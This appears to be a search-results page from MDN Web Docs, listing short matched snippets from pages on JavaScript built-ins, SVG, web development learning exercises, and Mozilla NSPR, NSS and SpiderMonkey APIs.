... for example, the client might send a get request as shown, listing the preferred protocols to switch to (in this case "example/1" and "foo/2"): get /index.html http/1.1 host: www.example.com connection: upgrade upgrade: example/1, foo/2 note: connection: upgrade must be set whenever upgrade is sent.
...And 7 more matches
Array.prototype.reduce() - JavaScript
the reduce() method executes a reducer function (that you provide) on each element of the array, resulting in single output value.
... the reducer function takes four arguments: accumulator (acc) current value (cur) current index (idx) source array (src) your reducer function's returned value is assigned to the accumulator, whose value is remembered across each iteration throughout the array, and ultimately becomes the final, single resulting value.
... syntax arr.reduce(callback( accumulator, currentvalue, [, index[, array]] )[, initialvalue]) parameters callback a function to execute on each element in the array (except for the first, if no initialvalue is supplied).
...And 7 more matches
Date - JavaScript
description the ecmascript epoch and timestamps a javascript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on january 1, 1970, utc.
... this date and time is the same as the unix epoch, which is the predominant base value for computer-recorded date and time values.
... note: it's important to keep in mind that while the time value at the heart of a date object is utc, the basic methods to fetch the date and time or its components all work in the local (i.e.
...And 7 more matches
Intl.Collator() constructor - JavaScript
a string with a bcp 47 language tag, or an array of such strings.
...possible values include: "big5han", "dict", "direct", "ducet", "gb2312", "phonebk", "phonetic", "pinyin", "reformed", "searchjl", "stroke", "trad", "unihan".
... the "standard" and "search" values are ignored; they are replaced by the options property usage (see below).
...And 7 more matches
Intl.DateTimeFormat() constructor - JavaScript
syntax new intl.datetimeformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
...possible values include: "buddhist", "chinese", "coptic", "ethiopia", "ethiopic", "gregory", "hebrew", "indian", "islamic", "iso8601", "japanese", "persian", "roc".
...possible values include: "buddhist", "chinese", " coptic", "ethiopia", "ethiopic", "gregory", " hebrew", "indian", "islamic", "iso8601", " japanese", "persian", "roc".
...And 7 more matches
Object.seal() - JavaScript
values of present properties can still be changed as long as they are writable.
... syntax object.seal(obj) parameters obj the object which should be sealed.
...making all properties non-configurable also prevents them from being converted from data properties to accessor properties and vice versa, but it does not prevent the values of data properties from being changed.
...And 7 more matches
Promise() constructor - JavaScript
the signature of this function is expected to be: function(resolutionfunc, rejectionfunc){ // typically, some asynchronous operation.
...the side-effect is that the promiseobj becomes "resolved." typically, it works like this: the operation within executor is asynchronous and provides a callback.
... the promiseobj (asynchronously) invokes any .then() associated with it.
...And 7 more matches
String.prototype.substring() - JavaScript
syntax str.substring(indexstart[, indexend]) parameters indexstart the index of the first character to include in the returned substring.
... indexend optional the index of the first character to exclude from the returned substring.
... description substring() extracts characters from indexstart up to but not including indexend.
...And 7 more matches
WeakRef - JavaScript
description a weakref object contains a weak reference to an object, which is called its target or referent.
...if an application or library depends on gc cleaning up a weakref or calling a finalizer [cleanup callback] in a timely, predictable manner, it's likely to be disappointed: the cleanup may happen much later than expected, or not at all.
... sources of variability include: one object might be garbage-collected much sooner than another object, even if they become unreachable at the same time, e.g., due to generational collection.
...And 7 more matches
encodeURI() - JavaScript
the encodeuri() function encodes a uri by replacing each instance of certain characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).
... description the encodeuri() function does not encode characters that have special meaning (reserved characters) for a uri.
... the following example shows all the parts that a uri "scheme" can possibly contain.
...And 7 more matches
encodeURIComponent() - JavaScript
the encodeuricomponent() function encodes a uri by replacing each instance of certain characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).
... description encodeuricomponent() escapes all characters except: not escaped: a-z a-z 0-9 - _ .
...~ * ' ( ) encodeuricomponent() differs from encodeuri as follows: var set1 = ";,/?:@&=+$"; // reserved characters var set2 = "-_.!~*'()"; // unescaped characters var set3 = "#"; // number sign var set4 = "abc abc 123"; // alphanumeric characters + space console.log(encodeuri(set1)); // ;,/?:@&=+$ console.log(encodeuri(set2)); // -_.!~*'() console.log(encodeuri(set3)); // # console.log(encodeuri(set4)); // abc%20abc%20123 (the space gets encoded as %20) console.log(encodeuricomponent(set1)); // %3b%2c%2f%3f%3a%40%26%3d%2b%24 console.log(encodeuricomponent(set2)); // -_.!~*'() console.log(encodeuricomponent(set3)); // %23 console.log(encodeuricomponent(set4)); // abc%20abc%20123 (the space gets encoded as %20) note that a urierror will be thrown if one attempts to enco...
...And 7 more matches
Iteration protocols - JavaScript
the iterable protocol the iterable protocol allows javascript objects to define or customize their iteration behavior, such as what values are looped over in a for...of construct.
... some built-in types are built-in iterables with a default iteration behavior, such as array or map, while other types (such as object) are not.
... in order to be iterable, an object must implement the @@iterator method, meaning that the object (or one of the objects up its prototype chain) must have a property with a @@iterator key which is available via constant symbol.iterator: property value [symbol.iterator] a zero-argument function that returns an object, conforming to the iterator protocol.
...And 7 more matches
Destructuring assignment - JavaScript
const x = [1, 2, 3, 4, 5]; const [y, z] = x; console.log(y); // 1 console.log(z); // 2 this capability is similar to features present in languages such as perl and python.
... in this example, f() returns the values [1, 2] as its output, which can be parsed in a single line with destructuring.
... pattern: const [a, ...b] = [1, 2, 3]; console.log(a); // 1 console.log(b); // [2, 3] be aware that a syntaxerror will be thrown if a trailing comma is used on the left-hand side with a rest element: const [a, ...b,] = [1, 2, 3]; // syntaxerror: rest element may not have a trailing comma // always consider using rest operator as the last element unpacking values from a regular expression match when the regular expression exec() method finds a match, it returns an array containing first the entire matched portion of the string and then the portions of the string that matched each parenthesized group in the regular expression.
...And 7 more matches
Operator precedence - JavaScript
operator precedence determines how operators are parsed concerning each other.
... console.log(3 + 10 * 2); // logs 23 console.log(3 + (10 * 2)); // logs 23 because parentheses here are superfluous console.log((3 + 10) * 2); // logs 26 because the parentheses change the order left-associativity (left-to-right) means that it is processed as (a op1 b) op2 c, while right-associativity (right-to-left) means it is interpreted as a op1 (b op2 c).
... code output function echo(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the division operator (/) console.log(echo("left", 6) / echo("right", 2)); evaluating the left side evaluating the right side 3 function echo(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the exponentiation operator (**) c...
...And 7 more matches
for await...of - JavaScript
it invokes a custom iteration hook with statements to be executed for the value of each distinct property of the object.
... syntax for await (variable of iterable) { statement } variable on each iteration a value of a different property is assigned to variable.
... async function* streamasynciterable(stream) { const reader = stream.getreader(); try { while (true) { const { done, value } = await reader.read(); if (done) { return; } yield value; } } finally { reader.releaselock(); } } // fetches data from url and calculates response size using the async generator.
...And 7 more matches
for...in - JavaScript
syntax for (variable in object) statement variable a different property name is assigned to variable on each iteration.
...objects created from built–in constructors like array and object have inherited non–enumerable properties from object.prototype and string.prototype, such as string's indexof() method or object's tostring() method.
... the loop will iterate over all enumerable properties of the object itself and those the object inherits from its prototype chain (properties of nearer prototypes take precedence over those of prototypes further away from the object in its prototype chain).
...And 7 more matches
import - JavaScript
the static import statement is used to import read only live bindings which are exported by another module.
... imported modules are in strict mode whether you declare them as such or not.
... the import statement cannot be used in embedded scripts unless such script has a type="module".
...And 7 more matches
throw - JavaScript
execution of the current function will stop (the statements after throw won't be executed), and control will be passed to the first catch block in the call stack.
... if no catch block exists among caller functions, the program will terminate.
...each of the following throws an exception: throw 'error2'; // generates an exception with a string value throw 42; // generates an exception with the value 42 throw true; // generates an exception with the value true throw new error('required'); // generates an error object with the message of required also note that the throw statement is affected by automatic semicolon insertion (asi) ...
...And 7 more matches
var - JavaScript
the scope of a variable declared with var is its current execution context and closures thereof, which is either the enclosing function and functions declared within it, or, for variables declared outside any function, global.
...this means its property descriptor cannot be changed and it cannot be deleted using delete.
... the corresponding name is also added to a list on the internal [[varnames]] slot on the global environment record (which forms part of the global lexical environment).
...And 7 more matches
with - JavaScript
the with statement extends the scope chain for a statement.
... syntax with (expression) statement expression adds the given expression to the scope chain used when evaluating the statement.
... description javascript looks up an unqualified name by searching a scope chain associated with the execution context of the script or function containing that unqualified name.
...And 7 more matches
Statements and declarations - JavaScript
multiple statements may occur on a single line if each statement is separated by a semicolon.
... break terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.
... switch evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.
...And 7 more matches
Transitioning to strict mode - JavaScript
ecmascript 5 introduced strict mode which is now implemented in all major browsers (including ie10).
...it is possible to change each file individually and even to transition code to strict mode down to the function granularity.
...strict mode throws in such cases.
...And 7 more matches
Recommended Web Performance Timings: How long is too long? - Web Performance
a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the background color of the page displaying.
... the first asset retrieved from a request is usually an html document, which then makes calls for additional assets.
... yes, one second for loading is a goal, but it's something few sites achieve.
...And 7 more matches
color-interpolation - SVG: Scalable Vector Graphics
note: for filter effects, the color-interpolation-filters property controls which color space is used.
... the color-interpolation property chooses between color operations occurring in the srgb color space or in a (light energy linear) linearized rgb color space.
... having chosen the appropriate color space, component-wise linear interpolation is used.
...And 7 more matches
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event).
... a valid syncbase-value consists of an id reference to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginning or active end of the referenced animation element.
... <event-value> this value defines an event and an optional offset that determines the time at which the element's animation should end.
...And 7 more matches
xml:space - SVG: Scalable Vector Graphics
svg supports the built-in xml xml:space attribute to handle whitespace characters inside elements.
... child elements inside an element may also have an xml:space attribute that overrides the parentʼs one.
... this attribute influences how browsers parse text content and therefore changes the way the dom is built.
...And 7 more matches
Patterns - SVG: Scalable Vector Graphics
WebSVGTutorialPatterns
="skyblue"/> <rect x="0" y="0" width="25" height="25" fill="url(#gradient2)"/> <circle cx="25" cy="25" r="20" fill="url(#gradient1)" fill-opacity="0.5"/> </pattern> </defs> <rect fill="url(#pattern)" stroke="black" width="200" height="200"/> </svg> screenshotlive sample inside the <pattern> element, you can include any of the other basic shapes you've included before, and each of them can be styled using any of the styles you've learned before, including gradients and opacity.
... here, we've just drawn two rectangle elements inside the pattern (which overlap, and one of which is twice the size of the other and is used to fill in the entire pattern), and one circle.
... as with the gradientunits attribute used above, patterns also have an attribute, patternunits, which specifies the units that these attributes will take.
...And 7 more matches
Texts - SVG: Scalable Vector Graphics
WebSVGTutorialTexts
the attribute text-anchor, which can have the values "start", "middle", "end" or "inherit", decides in which direction the text flows from this point.
...both may also refer to gradients or patterns, which makes simple coloring text in svg very powerful compared to css 2.1.
... setting font properties an essential part of a text is the font in which it is displayed.
...And 7 more matches
Extra lives - Game development
add the following lines below the existing scoretext definition inside your create() function: livestext = game.add.text(game.world.width-5, 5, 'lives: '+lives, { font: '18px arial', fill: '#0095dd' }); livestext.anchor.set(1,0); lifelosttext = game.add.text(game.world.width*0.5, game.world.height*0.5, 'life lost, click to continue', { font: '18px arial', fill: '#0095dd' }); lifelosttext.anchor.set(0.5); lifelosttext.visible = false; the livestext and lifelosttext objects look very similar to the scoretext one — they define a position on the screen, the actual text to display, and the font styling.
... the former is anchored on its top right edge to align properly with the screen, and the latter is centered, both using anchor.set().
...if we ever want to change the font size or color we will have to do it in multiple places.
...And 6 more matches
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
some other design patterns are based on mvc, such as mvvm (model-view-viewmodel), mvp (model-view-presenter), and mvw (model-view-whatever).
...all we want is a list of the name, quantity and price of each item we need to buy this week.
...if the state of this data changes, then the model will usually notify the view (so the display can change as needed) and sometimes the controller (if different logic is needed to control the updated view).
...And 6 more matches
Assessment: Accessibility troubleshooting - Learn web development
alternatively, you could use a site like jsbin or glitch to do your assessment.
... the finished assessment site should look like so: you will see some differences/issues with the display of the starting state of the assessment — this is mainly due to the differences in the markup, which in turn cause some styling issues as the css is not applied properly.
... color the text is difficult to read because of the current color scheme.
...And 6 more matches
Test your skills: WAI-ARIA - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... wai-aria 1 in our first aria task, we present you with a section of non-semantic markup, which is obviously meant to be a list.
... assuming you are not able to change the elements used, how can you allow screenreader users to recognize this as a list?
...And 6 more matches
Accessibility - Learn web development
beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web.
... to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
... sites should be accessible to keyboard, mouse, and touch screen users, and any other way users access the web, including screen readers and voice assistants like alexa and google home.
...And 6 more matches
Test your skills: sizing - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on sizing items in css.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... the second box should be fixed at 100 pixels tall, so that content will overflow if there is too much.
...And 6 more matches
CSS building blocks - Learn web development
note: if you are working on a computer/tablet/another device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... guides this module contains the following articles, which cover the most essential parts of the css language.
... cascade and inheritance the aim of this lesson is to develop your understanding of some of the most fundamental concepts of css — the cascade, specificity, and inheritance — which control how css is applied to html and how conflicts are resolved.
...And 6 more matches
Test your skills: Grid Layout - Learn web development
you will be working through three small tasks which use different elements of the material you have just covered.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... grid layout one in this task you should create a grid into which the four child elements will auto-place.
...And 6 more matches
Test your skills: Form validation - Learn web development
note: you can try out solutions locally, however it may be helpful to put your code in an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... change the type of the "email address" and "phone number" fields to make the browser apply some more specific validation suitable for the data being asked for.
... give the "user name" field a required length of between 5 and 20 characters, the "phone number" field a maximum length of 15 characters, and the "comment" field a maximum length of 200 characters.
...And 6 more matches
Web forms — Working with user data - Learn web development
however, for historical and technical reasons it's not always obvious how to use them to their full potential.
... mastering forms however requires more than just html knowledge — you also need to learn some specific techniques to style form controls, and some scripting knowledge is required to handle things like validation and creating custom form controls.
... the above text is a good indicator as to why we've put web forms into its own standalone module, rather than trying to mix bits of it into the html, css, and javascript topic areas — form elements are more complex than most other html elements, and they also require a close marriage of related css and javascript techniques to get the most out of them.
...And 6 more matches
Installing basic software - Learn web development
currently, the most-used browsers are firefox, chrome, opera, safari, internet explorer and microsoft edge.
... you should also test how your site performs on mobile devices and on any old browsers your target audience may still be using (such as ie 8–10.) lynx, a text-based terminal web browser, is great for seeing how your site is experienced by visually-impaired users.
...there are loads of (s)ftp programs available including cyberduck, fetch and filezilla.
...And 6 more matches
Debugging HTML - Learn web development
the way that browsers parse html is a lot more permissive than how programming languages are run, which is both a good and a bad thing.
... it isn't clear where the first <strong> element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!
...in a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex html document?
...And 6 more matches
Marking up a letter - Learn web development
create a new .html file using your text editor or use an online tool such as codepen, jsfiddle, or glitch to complete the tasks.
...the letter is a response from a research fellow to a prospective phd student concerning their application to the university.
...each line of the address should sit on a new line, but not be in a new paragraph.
...And 6 more matches
Test your skills: Math - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... finally, write a calculation that checks whether finalresult is an even number.
...but these results aren't what we want; you'll need to take the calculations and change them to give us what we want.
...And 6 more matches
JavaScript First Steps - Learn web development
in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
... after that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays.
...you are advised to work through the following modules before starting on javascript: getting started with the web (which includes a really basic javascript introduction).
...And 6 more matches
Measuring performance - Learn web development
the metrics you choose to measure should be relevant to your users, site, and business goals.
... they should be collected and measured in a consistent manner and analyzed in a format that can be consumed and understood by non-technical stakeholders.
... prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies.
...And 6 more matches
Perceived performance - Learn web development
this article provides a brief introduction to perceived performance, looking at user perceptions, and what objective tools can be used to measure that which is subjective.
... prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies.
...such an approach is much better than just showing nothing, which will make it feel like it is taking a lot longer and possibly lead to your users thinking it is broken and giving up.
...And 6 more matches
What is web performance? - Learn web development
this article provides a brief introduction to objective, measureable web performance*, looking at what technologies, techniques, and tools are involved in web optimization.
... prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies.
...a general strategy is to make your files as small as possible, reduce the number of http requests made as much as possible, and employ clever loading techniques (such as preload) to make files available sooner.
...And 6 more matches
The "why" of web performance - Learn web development
prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies.
... as an example, consider the loading experience of cnn.com, which at the time of this writing had over 400 http requests with a file size of over 22.6mb.
...(see how much your site costs to download.) improve conversion rates reducing the dowload and render time of a site improves conversion rates and user retention.
...And 6 more matches
Learning area release notes - Learn web development
this page details significant changes made to the learning area.
... check back here if you want to know what new content is available, and what existing content has been improved.
... june 2020 our front-end web developer learning pathway is officially launched!
...And 6 more matches
Updating NSPR or NSS in mozilla-central
do not check in individual changes.
... if you check in an individual change by mistake, your change will be lost when the nspr and nss teams push a new hg tag to mozilla-central.
... (because some developers might not be aware that nspr/nss are separately maintained and released, the mozilla hg server rejects accidental changes/forking, if the required keywords are missing in the commit comment.) if nspr or nss must be upgraded to a new static tag, follow this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the new sources $ python client.py update_nspr nspr_tag_name or $ python client.py update_nss nss_tag_name if you update a branch older than mozilla 17 (without the change from bug 782784), you must manually add a dummy change (add or remove a blank line) to force a rebuild of nspr: mozilla/nsprpub/config/prdepend.h or nss: mozilla/se...
...And 6 more matches
Process scripts
however, a problem with frame scripts is that they can be loaded multiple times in the content process, in multiple scopes that are insulated from each other.
...but if you register it in a frame script, and the frame script is loaded more than once, you'll register the content policy more than once, which probably isn't what you intend.
...the following code uses the global parent process message manager, which will load the script into the the chrome process and any child processes: // chrome code let ppmm = cc["@mozilla.org/parentprocessmessagemanager;1"] .getservice(ci.nsiprocessscriptloader); ppmm.loadprocessscript("chrome://whatever/process-script.js", true); ppmm.addmessagelistener("hello", function(msg) { ...
...And 6 more matches
Creating a New Protocol
create the protocol file the protocol file should live in the same directory as the code which will implement it.
...the protocol hierarchy unless you are working on some special project, your protocol will fit into the protocol hierarchy for multi-process plugins or tabs.
...if there is any doubt, ask on irc in the #content channel.
...And 6 more matches
UpdateListener
an updatelistener receives messages from an update check for a single add-on, though it is possible to pass the same updatelistener to as many calls to findupdates() as you like.
... for each individual update check, the following methods will be called on the listener: either oncompatibilityupdateavailable() or onnocompatibilityupdateavailable(), depending on whether compatibility information for the requested application version was seen.
... onupdatefinished() to signal that the update check has completed.
...And 6 more matches
DeferredTask.jsm
firefox 28 note interface was changed in firefox 28, and old methods were removed.
...with deferredtask, the task is delayed by a few milliseconds and, should a new change to the data occur during this period, only the final version of the data is actually written; a further grace delay is added to take into account other changes.
...this is always true when read from code inside the task function, but can also be true when read from external code, in case the task is an asynchronous generator function.
...And 6 more matches
Localizing with Pontoon
pontoon is a very simple and intuitive tool that requires little to no technical skill to use in the l10n workflow.
... project selector (affiliates) switches between projects to localize.
... resource selector (homepage) switches between project resources to localize, like subpages or localization files.
...And 6 more matches
Uplifting a localization from Central to Aurora
you want to have a repo from which you can uplift to aurora shortly after the migration.
... you don't need to work on making the synchronization happen in either of your copies of the aurora or central repositories, but you can create a third one for this work.
...i use kdiff3; you may choose your own based on what you read at http://mercurial.selenic.com/wiki/mergeprogram a clone of your central repo.
...And 6 more matches
JS::PerfMeasurement
note: at present, js::perfmeasurement is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems.
... it is a stopwatch profiler -- that is, it counts events that occur while code of interest is running; it does not do call traces or sampling.
... the current implementation can measure eleven different types of low-level hardware and software events: events that can be measured bitmask passed to constructor counter variable what it measures perfmeasurement::cpu_cycles .cpu_cycles raw cpu clock cycles ::instructions .instructions total instructions executed ::cache_references .cache_references total number of memory accesses ::cache_misses .cache_misses memory accesses that missed the cache ::branch_instructions .branch_instructions branch instructions executed ::branch_misses .branch_misses branch instructions that were not predicted correctly ::bus_cycles .bus_cycles total memory bus cycles ::p...
...And 6 more matches
Leak-hunting strategies and tips
because (1) large graphs of leaked objects tend to include some objects pointed to by global variables that confuse gc-based leak detectors, which can make leaks look smaller (as in bug 99180) or hide them completely and (2) large graphs of leaked objects tend to hide smaller ones, it's much better to go after the large graphs of leaks first.
...(by most of the leaks, i mean the leaks of large numbers of different types of objects or leaks of objects that are known to entrain many non-logged objects such as js objects.
... once you've done this, and it doesn't leak much, then try the action under trace-malloc or lsan or valgrind to find the leaks of smaller graphs of objects.
...And 6 more matches
Profiling with Xperf
check if c:\program files\microsoft windows performance toolkit already exists.
...you can also modify the _nt_symbol_path and _nt_symcache_path environment variables to make these changes permanent.
... the standard symbol path that includes both mozilla's and microsoft's symbol server configuration is as follows: _nt_symcache_path: c:\symbols _nt_symbol_path: srv*c:\symbols*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://symbols.mozilla.org/firefox/ to add symbols from your own builds, add c:\path\to\objdir\dist\bin to _nt_symbol_path.
...And 6 more matches
Reporting a Performance Problem
visit https://profiler.firefox.com/ click on "enable profiler menu button" the profiler toolbar button will show up in the top right of the url bar as a small stopwatch icon you can right-click on the button and remove it from the toolbar when you're done with it.
...make sure to choose an appropriate setting for the recording (if you're not sure, choose firefox platform), and then choosing "start recording".
...if you choose custom settings (and then clicking edit settings) for the profiler, you can adjust the size of the buffer (presently defaults to 90 mb) and the time interval between data collection (presently defaults to 1 ms).
...And 6 more matches
Preference reference
accessibility.tabfocusthe preference accessibility.tabfocus controls what elements receive focus when the user presses the tab key.browser.altclicksavethe preference browser.altclicksave controls whether clicking a link while holding the alt key starts the download of that link.browser.dom.window.dump.enabledthis setting enables the dump function, which sends messages to the system console.
...changes require an application restart.browser.download.lastdir.savepersitebrowser.download.lastdir.savepersite controls whether the directory preselected in the file picker for saving a file download is being remembered on a per-website (host) base.
... if set to true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain ...
...And 6 more matches
NSPR Contributor Guide
this means that the behavior of an existing public api item in nspr cannot change.
...this means that you cannot give us something you snatched from somewhere else;.
...if you snatched it from somewhere else, tell us where; show us where the right to incorporate it into nspr exists.
...And 6 more matches
I/O Functions
this chapter describes the nspr functions used to perform operations such as system access, normal file i/o, and socket (network) i/o.
...for information about the types most commonly used with the functions described in this chapter, see i/o types.
...nspr uses unix-style pathnames, which are null-terminated character strings.
...And 6 more matches
Threads
each thread is an execution entity that is scheduled independently from other threads in the same process.
... this chapter describes the basic nspr threading api.
...to synchronize the termination of a thread, you can join it with another thread (see pr_jointhread).
...And 6 more matches
Cryptography functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates which versions of nss support the function.
... function name/documentation source code nss versions pk11_algtagtomechanism mxr 3.2 and later pk11_authenticate mxr 3.2 and later pk11_blockdata mxr 3.2 and later pk11_changepw mxr 3.2 and later pk11_checkuserpassword mxr 3.2 and later pk11_cipherop mxr 3.2 and later pk11_clonecontext mxr 3.2 and later pk11_configurepkcs11 mxr 3.2 and later pk11_convertsessionprivkeytotokenprivkey mxr 3.6 and later pk11_convertsessionsymkeytotokensymkey mxr 3.6 and later pk11_copytokenprivk...
...And 6 more matches
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
jss frequently asked questions newsgroup: mozilla.dev.tech.crypto content: what versions of jdk and jce do you suggest?
... how can i tell which ssl/tls ciphers jss supports?
...you can find more information in bugzilla bug 102251 ssl session cache locking issue with nt fibers how can i tell which ssl/tls ciphers jss supports?
...And 6 more matches
NSS 3.14.3 release notes
introduction network security services (nss) 3.14.3 is a patch release for nss 3.14.
...this release is a patch release to address cve-2013-1620.
...however, unlike pk11_sign, which uses a seckeyprivatekey, pk11_signwithsymkey performs the signature using a symmetric key, such as commonly used for generating macs.
...And 6 more matches
NSS 3.22 release notes
introduction the nss team has released network security services (nss) 3.22, which is a minor release.
... nss 3.22 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_rtm/src/ new in nss 3.22 new functionality rsa-pss signatures are now supported (bug 1215295) new functions pk11_signwithmechanism() and pk11_signwithmechanism() are provided to allow rsa keys to be used with pss.
... enforce an external policy on nss from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), which will force nss to restrict the application to certain cryptographic algorithms and protocols.
...And 6 more matches
NSS Sample Code sample2
* note: iv is only needed if cipher blocking chaining (cbc) mode of encryption * is used * * the recommended approach is to store and transport wrapped (encrypted) * des keys (ivs can be in the clear).
... */ #include "nss.h" #include "pk11pub.h" /* example key & iv */ unsigned char gkey[] = {0xe8, 0xa7, 0x7c, 0xe2, 0x05, 0x63, 0x6a, 0x31}; unsigned char giv[] = {0xe4, 0xbb, 0x3b, 0xd3, 0xc3, 0x71, 0x2e, 0x58}; int main(int argc, char **argv) { ck_mechanism_type ciphermech; pk11slotinfo* slot = null; pk11symkey* symkey = null; secitem* secparam = null; pk11context* enccontext = null; secitem keyitem, ivitem; secstatus rv, rv1, rv2; unsigned char data[1024], buf1[1024], buf2[1024]; int i, result_len, tmp1_outlen, tmp2_outlen; /* initialize nss * if your application code has already ini...
... * this code uses the simplest of the init functions, which does not * require a nss database to exist */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto out; } /* choose mechanism: ckm_des_cbc_pad, ckm_des3_ecb, ckm_des3_cbc.....
...And 6 more matches
JS::Add*Root
syntax bool js::addvalueroot(jscontext *cx, js::heap<js::value> *vp); bool js::addstringroot(jscontext *cx, js::heap<jsstring *> *rp); bool js::addobjectroot(jscontext *cx, js::heap<jsobject *> *rp); bool js::addnamedvalueroot(jscontext *cx, js::heap<js::value> *vp, const char *name); bool js::addnamedvaluerootrt(jsruntime *rt, js::heap<js::value> *vp, const char *name); bool js::addnamedstringroot(jscontext *cx, js::heap<jsstring *> *rp, const char *name); bool js::addnamedobjectroot(jscontext *cx, js::heap<jsobject *> *rp, const char *name); bool js::addnamedscriptroot(jscontext *cx, js::heap...
...<jsscript *> *rp, const char *name); name type description cx jscontext * the context in which to add the new root.
... rt jsruntime * the runtime in which to add the new root.
...And 6 more matches
JSPrincipals
codebase char * pointer to the codebase for the principal.
...each time an object is referenced, refcount must be increased by one.
... each time an object is dereferenced, refcount must be decremented by one.
...And 6 more matches
JS_DefineConstDoubles
syntax bool js_defineconstdoubles(jscontext *cx, js::handleobject obj, const jsconstdoublespec *cds); bool js_defineconstintegers(jscontext *cx, js::handleobject obj, const jsconstintegerspec *cis); // added in spidermonkey 38 name type description cx jscontext * the context in which to define the new properties.
... obj jsobject * object for which to create new properties.
... description js_defineconstdoubles creates one or more properties for a specified object, obj, where each property consists of a double value.
...And 6 more matches
JS_DefineFunctions
name type description cx jscontext * the context in which to define functions.
... obj js::handle&lt;jsobject*&gt; the object on which functions are to be defined.
...each element of the array defines an individual function.
...And 6 more matches
JS_DumpNamedRoots
syntax void js_dumpnamedroots(jsruntime *rt, void (*dump)(const char *name, void *rp, void *data), void *data); name type description rt jsruntime * pointer to a jsruntime from which to dump named roots.
... dump void (*)(const char *, void *, void *) pointer to function that actually dumps the named roots.
... data void * a pointer that is passed to dump each time it is called.
...And 6 more matches
JS_ExecuteRegExp
syntax bool js_executeregexp(jscontext *cx, js::handleobject obj, js::handleobject reobj, char16_t *chars, size_t length, size_t *indexp, bool test, js::mutablehandlevalue rval); bool js_executeregexpnostatics(jscontext *cx, js::handleobject reobj, char16_t *chars, size_t length, size_t *indexp, bool test, js::mutablehandlevalue rval); name type description cx jscontext * the context.
... chars const char16_t * a pointer to the string contains a input string.
... length size_t the length of bytes or chars, in characters.
...And 6 more matches
JS_GetProperty
syntax bool js_getproperty(jscontext *cx, js::handleobject obj, const char *name, js::mutablehandlevalue vp); bool js_getucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::mutablehandlevalue vp); bool js_getpropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 name type description cx jscontext * a context.
... obj js::handleobject object to search on for the property.
... name or id const char * or const char16_t * or js::handleid name of the property to look up.
...And 6 more matches
JS_NewDependentString
create a new javascript string containing a range of characters from an existing string.
... syntax jsstring * js_newdependentstring(jscontext *cx, js::handlestring str, size_t start, size_t length); name type description cx jscontext * the context in which to create the new string.
... str js::handlestring the string containing the characters for the new string.
...And 6 more matches
JS_NewStringCopyN
syntax jsstring * js_newstringcopyn(jscontext *cx, const char *s, size_t n); jsstring * js_newucstringcopyn(jscontext *cx, const char16_t *s, size_t n); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... s const char* or const char16_t * pointer to the array of characters containing the text for the js string to create.
... n size_t number of characters to copy from s into the new string.
...And 6 more matches
JS_SetGCCallback
rt jsruntime * the jsruntime for which to set the gc callback.
